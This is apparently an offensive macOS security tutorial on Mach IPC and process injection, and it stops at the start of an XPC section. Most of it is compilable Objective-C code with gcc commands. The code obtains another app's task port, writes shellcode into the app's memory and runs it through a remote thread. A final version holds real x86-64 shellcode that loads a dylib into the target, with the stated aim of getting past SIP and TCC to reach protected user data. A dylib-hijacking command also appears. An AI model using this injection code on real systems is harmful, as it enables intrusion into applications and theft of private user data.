install_name_tool -change @rpath/lib.dylib "Library path" hijack.dylib

Mach IPC & Injection

Fundamentals of IPC via Bootstrap Server

1. Task A Creation Steps:
   • Create Port with RECEIVE Right: Task A starts by creating a new communication port for which it holds the RECEIVE right. This right allows Task A to receive messages sent to this port.
   • Create SEND Right: Task A then creates a SEND right for the same port, which will be used to allow other tasks to send messages to this port.
2. Bootstrap Server Registration:
   • Register SEND Right: Task A registers the SEND right with the bootstrap server under a specific service name. This is a crucial step as it associates the SEND right with a recognizable service name that other tasks can refer to.
3. Task B Lookup and Communication:
   • Lookup Service Name: Task B queries the bootstrap server to find the service name. If found, the server provides Task B with a copy of the SEND right.
   • Send Message Using SEND Right: Now equipped with the SEND right, Task B constructs a message and sends it to Task A using the SEND right.

Secured Communication Model with Launchd as Bootstrap Server

Apple stores system-provided service names in configuration files that also contain the associated binary for each service. These files are located at /System/Library/LaunchDaemons and /System/Library/LaunchAgents, SIP protected locations which are considered secure.

1. Task B Service Lookup:
   • Lookup Service Name: Task B initiates the communication by requesting a service name from launchd. This is the first step in establishing a communication link.
2. launchd Service Management:
   • Check If Service Is Running: launchd checks whether the requested service (Task A) is already running. If not, it starts Task A.
   • Start Task A: If the service is not already running, launchd initiates Task A.
3. Task A Registration and Rights Management:
   • Bootstrap Check-in: Once started, Task A performs a bootstrap check-in with launchd. During this process, launchd assigns the RECEIVE right to Task A and retains a SEND right for itself.
   • Create SEND Right and Transfer RECEIVE Right: launchd ensures that it keeps a SEND right (to control future access) and transfers the RECEIVE right to Task A.
4. Service Access by Task B:
   • Send Copy of SEND Right to Task B: Finally, launchd creates a copy of the SEND right and sends it to Task B. This step allows Task B to communicate securely with Task A using the established protocol.

Mach Special Ports

• since macOS 10.11, AppleMobileFileIntegrity (AMFI) plays a key role in access control. macos_task_policy have the following rules:

While at first glance, exploiting application permissions to gain root might not seem to offer additional privileges, Apple’s ongoing enhancement of security measures makes this strategy increasingly valuable. Starting with System Integrity Protection (SIP), often referred to as “rootless,” Apple significantly restricted root access to essential system locations. This protection was further tightened with the introduction of Transparency, Consent, and Control (TCC) privacy measures, which restrict root access to sensitive user data areas like Documents and AddressBook. Therefore, by injecting code into an application that retains access to these protected areas, one can circumvent these restrictions and gain valuable access and insights, despite the limitations imposed on the root user.

Injection through Mach Ports

Get Identifier

Get app "Identifier=" using codesign
codesign -dv /Path_to_app

Get Process ID

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) && (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count > 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        return (0);

}

• Compile

gcc -framework Foundation -framework Appkit getPID.m -o getPID

get_uid(pid_t pid)

• Purpose: This function fetches the UID associated with a given PID, which is useful to determine the user under which a process is running.
• Implementation:
  • It initializes a struct kinfo_proc to store process information.
  • It prepares an array mib with parameters that tell sysctl which information to retrieve, specifically the process info for a given PID.
  • The sysctl function is called with these parameters to fill the process structure with the process information.
  • If sysctl successfully retrieves the information (buffer_size is not zero), it extracts the UID from the process structure.

get_pid(NSString* bundle_id)

• Purpose: This function finds the PID of an application running with a specific bundle identifier. It ensures that the application is running under a user account (non-root).
• Implementation:
  • It calls NSRunningApplication’s class method runningApplicationsWithBundleIdentifier: which returns an array of NSRunningApplication instances representing each running application with the specified bundle identifier.
  • It iterates over this array, retrieving the PID of each application instance using the processIdentifier method.
  • For each PID, it calls get_uid to check if the process is running as root (UID 0). If the process is running as a non-root user, it returns the PID.

main(int argc, const char * argv[])

• Purpose: This is the main entry point of the program. It sets up the environment and calls other functions to perform specific tasks.
• Implementation:
  • It uses an autorelease pool to manage the memory of objects created during the execution of the program automatically.
  • It defines the target application’s bundle identifier and calls get_pid to find the PID of this application.
  • If a valid PID is found, it prints the PID; otherwise, it prints an error message.

Get SEND Rights (task port)

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) && (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count > 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }
        return (0);

}

• Compile

gcc -framework Foundation -framework Appkit getTaskPort.m -o getTaskPort

• Fetching the PID and Task Port:
  • Fetching Application Instance: The application instance is obtained using NSRunningApplication’s runningApplicationsWithBundleIdentifier: method, which returns an array of applications matching the given bundle identifier.
  • PID Extraction: The process identifier (PID) is extracted from the first application instance that matches the provided bundle identifier.
  • Task Port Retrieval: The task_for_pid function is used to get the Mach task port for the process identified by the PID. This function requires the caller to have appropriate privileges, typically necessitating elevated rights.

task_for_pid(mach_task_self(), pid, &remoteTask)

• Purpose: This Mach API function is used to obtain the task port of another process, which is essential for performing various system-level operations on that process.
• Parameters:
  • mach_task_self(): Represents the task port of the current process, used here for permission context.
  • pid: The PID of the target process.
  • &remoteTask: A pointer to a task_t variable where the task port of the target process will be stored upon successful execution.
• Output: Returns a kern_return_t value that indicates the success or failure of the operation. If successful, remoteTask will contain the task port.

Allocate & Write to Process Memory

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>

#define STACK_SIZE 0x1000
#define CODE_SIZE 128

char shellcode[] = "Your Shellcode";


uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) && (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count > 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }       
        return (0);
}

• Compile

gcc -framework Foundation -framework Appkit allocateWrite.m -o allocateWrite

1. Allocating Memory in the Target Process:
   • The mach_vm_allocate function is used to allocate memory in the target process. In this case, it allocates memory for both the shellcode and the stack.
   • remoteStack64 is a pointer to the allocated stack memory, while remoteCode64 is a pointer to the allocated memory for the shellcode.
2. Writing Shellcode to the Target Process:
   • The mach_vm_write function is used to write the shellcode into the allocated memory space of the target process.

Set Memory Permisssions for Stack & Code

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>

#define STACK_SIZE 0x1000
#define CODE_SIZE 128

char shellcode[] = "Your Shellcode";

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) && (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count > 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
        }

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            
            NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");

        }
        return (0);

}

• Compile

gcc -framework Foundation -framework Appkit setMemory.m -o setMemory

1. Setting Memory Protections:
   • vm_protect is used to set the memory protections for the shellcode and stack.
   • The shellcode memory is set to be readable and executable (VM_PROT_READ | VM_PROT_EXECUTE), while the stack is set to be readable and writable (VM_PROT_READ | VM_PROT_WRITE).

Execute the Shellcode

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>

#define STACK_SIZE 0x1000
#define CODE_SIZE 128

char shellcode[] = "Your Shellcode";

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) && (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count > 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
        }

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            
            NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");

        }

        x86_thread_state64_t remoteThreadState64;

        memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

        //shift stack
        remoteStack64 += (STACK_SIZE / 2); // this is the real stack
        printf ("[+] Remote Stack 64  0x%llx, Remote code is 0x%llx\n", remoteStack64, remoteCode64 );
        // set remote instruction pointer
        remoteThreadState64.__rip = (u_int64_t) remoteCode64;
        printf("[+] Set RIP to 0x%llx\n", remoteCode64);
        // set remote Stack Pointer
        remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
        printf("[+] Set RSP to 0x%llx\n", remoteStack64);
        remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
        printf("[+] Set RSP to 0x%llx\n", remoteStack64);

    
        //thread variable
        thread_act_t remoteThread;
        printf("[+] Executing Shellcode Thread.......\n");
        //create thread
        kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
           (thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed: error: %s\n", mach_error_string (kr));
            return (-1);
        }
        
        printf("[+] Shellcode Executed xD\n");
        return (0);

}

• Compile

gcc -framework Foundation -framework Appkit InjectCode.m -o InjectCode

• thread_create_running: This function creates a new thread in the target process specified by remoteTask.
• Parameters:
  • remoteTask: The task port of the target process.
  • x86_THREAD_STATE64: Specifies the thread state flavor. In this case, it’s for x86_64 architecture.
  • &remoteThreadState64: A pointer to the thread state data structure. This structure contains the initial register values for the new thread, including the instruction pointer (__rip), stack pointer (__rsp), and base pointer (__rbp).
  • x86_THREAD_STATE64_COUNT: The number of valid thread state entries.
  • &remoteThread: A pointer to a variable that will hold the newly created thread’s port.
• After the remote thread is created, it starts executing at the address specified by the instruction pointer (__rip) in the remoteThreadState64 structure.
• Since the __rip is set to the beginning of the allocated memory where the shellcode is placed, the thread starts executing the shellcode.

Inject Dylib

To load a dylin through the thread, We need to pormote the thread to POSIX thread, So by creating a POSIX thread from the existing Mach thread, We will load the dylib:

#include <dlfcn.h>
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>

#define STACK_SIZE 65536
#define CODE_SIZE 128

char shellcode[] =
"\x55"                            // push       rbp
"\x48\x89\xE5"                    // mov        rbp, rsp
"\x48\x83\xEC\x10"                // sub        rsp, 0x10
"\x48\x8D\x7D\xF8"                // lea        rdi, qword [rbp-8]
"\x48\x31\xc9"                    // xor        rcx,rcx
"\x48\x31\xf6"                    // xor        rsi,rsi
"\x48\x8D\x15\x0E\x00\x00\x00"    // lea        rdx, qword ptr [rip + 0xe]
"\x48\xB8"                        // movabs     rax, pthread_create_from_mach_thread
"PTHRDCRT"
"\xFF\xD0"                        // call       rax
"\xEB\xFE"                        // jmp        -2

"\x55"                            // push       rbp
"\x48\x89\xE5"                    // mov        rbp, rsp
"\x48\x83\xEC\x10"                // sub        rsp, 0x10
"\x6A\x01"                        // push 1
"\x5E"                            // pop rsi
"\x48\x8D\x3D\x12\x00\x00\x00"    // lea        rdi, qword ptr [rip + 0x12]
"\x48\xB8"                        // movabs     rax, dlopen
"DLOPEN__"
"\xFF\xD0"                        // call       rax
"\x48\x83\xC4\x10"                // add        rsp, 0x10
"\x5D"                            // pop        rbp
"\xC3"                            // ret

"LIBLIBLIBLIB"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) && (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count > 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {

        char* lib = "/tmp/CopyMessages.dylib";
        uint64_t addr_of_pthread_create = (uint64_t)dlsym(RTLD_DEFAULT, "pthread_create_from_mach_thread");
        uint64_t addr_of_dlopen = (uint64_t)dlopen;
    
        char *possible_patch_location = (shellcode);
        int i=0;
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }

        NSLog(@"[+] Patching to pormote Mach Thread to POSIX Thread....\n", remoteCode64);
        
        for (i = 0; i < 0x100; i++) {
            possible_patch_location++;
    
            if (memcmp(possible_patch_location, "PTHRDCRT", 8) == 0) {
                NSLog(@"[+] pthread_create_from_mach_thread Address: @%llx\n", addr_of_pthread_create);
                memcpy(possible_patch_location, &addr_of_pthread_create, 8);
            }
    
            if (memcmp(possible_patch_location, "DLOPEN__", 6) == 0) {
                NSLog(@"[+] dlopen Address: @%llx\n", addr_of_dlopen);
                memcpy(possible_patch_location, &addr_of_dlopen, sizeof(uint64_t));
            }
    
            if (memcmp(possible_patch_location, "LIBLIBLIB", 9) == 0) {
                strcpy(possible_patch_location, lib);
                NSLog(@"[+] Patched Dylib Path in Shellcode\n");
            }
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
        }

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            
            NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");

        }

        x86_thread_state64_t remoteThreadState64;

        memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );


        remoteStack64 += (STACK_SIZE / 2);
        NSLog (@"[+] Remote Stack 64  0x%llx, Remote code is 0x%llx\n", remoteStack64, remoteCode64 );

        remoteThreadState64.__rip = (u_int64_t) remoteCode64;
        NSLog(@"[+] Set RIP to 0x%llx\n", remoteCode64);

        remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
        NSLog(@"[+] Set RSP to 0x%llx\n", remoteStack64);
        remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
        NSLog(@"[+] Set RBP to 0x%llx\n", remoteStack64);

    

        thread_act_t remoteThread;
        NSLog(@"[+] Executing Shellcode Thread.......\n");

        kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
           (thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed: error: %s\n", mach_error_string (kr));
            return (-1);
        }
        
        NSLog(@"[+] Shellcode Executed xD\n");
        return (0);

}

1. Including dlfcn.h: This header file is required for dynamic linking functions like dlsym and dlopen.

2. Defining Larger Stack and Code Sizes: The stack size (STACK_SIZE) and code size (CODE_SIZE) have been increased to 65536 and 128, respectively.

3. Shellcode: The shellcode has been updated to include more instructions. It now contains two parts: one for calling pthread_create_from_mach_thread and another for calling dlopen.

4. Using dlsym to Get Address of Functions: The code uses dlsym to get the address of pthread_create_from_mach_thread and dlopen. These addresses are then used to patch the shellcode.

5. Patching the Shellcode: The code loops through the shellcode to find specific patterns ("PTHRDCRT", "DLOPEN__", and "LIBLIBLIB") and replaces them with the addresses obtained from dlsym and the path to the dynamic library (lib). This allows the shellcode to call pthread_create_from_mach_thread and dlopen with the specified library path.

6. Printing Debug Information: The code includes several NSLog statements to print debug information, such as the addresses of pthread_create_from_mach_thread and dlopen, and the path to the dynamic library.

7. Using Larger Stack Offset: The code uses a larger offset (STACK_SIZE / 2) to shift the stack pointer (__rsp) in the remoteThreadState64 structure. This offset is used to provide more space for the stack in the remote thread.

Tese changes enhance the functionality of the code by allowing it to load a dynamic library (lib) into a target process and create a POSIX thread using pthread_create_from_mach_thread.

XPC Exploitation

XPC Fundmentals

What is XPC?

XPC is a communication mechanism in macOS and iOS that allows different processes to communicate with each other. It is used to separate tasks into different processes, enhancing security and stability by isolating potentially risky operations.

Key Components of XPC:

• XPC Services: These are the services that run in separate processes and perform specific tasks. They can be provided by both Apple and third-party developers.
• Mach Services: XPC services register Mach services to facilitate communication via Mach messages.
• Clients: Applications or processes that request services from XPC services.
• Entitlements: Special permissions required by applications to access certain XPC services.

How XPC Works:

